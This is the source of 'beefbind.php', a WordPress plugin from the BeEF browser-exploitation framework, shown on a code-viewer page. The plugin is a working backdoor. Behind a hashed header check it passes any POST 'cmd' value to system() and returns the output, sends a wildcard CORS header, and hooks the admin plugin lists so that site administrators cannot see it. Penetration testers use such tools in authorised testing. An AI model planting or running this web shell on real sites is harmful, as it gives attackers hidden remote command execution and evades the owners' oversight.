Path: blob/master/modules/misc/wordpress/upload_rce_plugin/beefbind.php
1154 views
<?php1/**2* Plugin Name: beefbind3* Plugin URI: https://beefproject.com4* Description: BeEF bind shell with CORS.5* Version: 1.16* Authors: Bart Leppens, Erwan LR (@erwan_lr | WPScanTeam)7* Author URI: https://twitter.com/bmantra8* License: Copyright (c) 2006-2025Wade Alcorn - [email protected] - Browser Exploitation Framework (BeEF) - https://beefproject.com - See the file 'doc/COPYING' for copying permission9**/1011header("Access-Control-Allow-Origin: *");1213define('SHA1_HASH', '#SHA1HASH#');14define('BEEF_PLUGIN', 'beefbind/beefbind.php');1516if (isset($_SERVER['HTTP_BEEF']) && strlen($_SERVER['HTTP_BEEF']) > 1) {17if (strcasecmp(sha1($_SERVER['HTTP_BEEF']), SHA1_HASH) === 0) {18if (isset($_POST['cmd']) && strlen($_POST['cmd']) > 0) {19echo system($_POST['cmd']);20}21}22}2324if (defined('WPINC')) {25function hide_plugin() {26global $wp_list_table;2728foreach ($wp_list_table->items as $key => $val) {29if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); }30}31}32add_action('pre_current_active_plugins', 'hide_plugin');3334// For Multisites35function hide_plugin_from_network($plugins) {36if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); }3738return $plugins;39}40add_filter('all_plugins', 'hide_plugin_from_network');41}42?>4344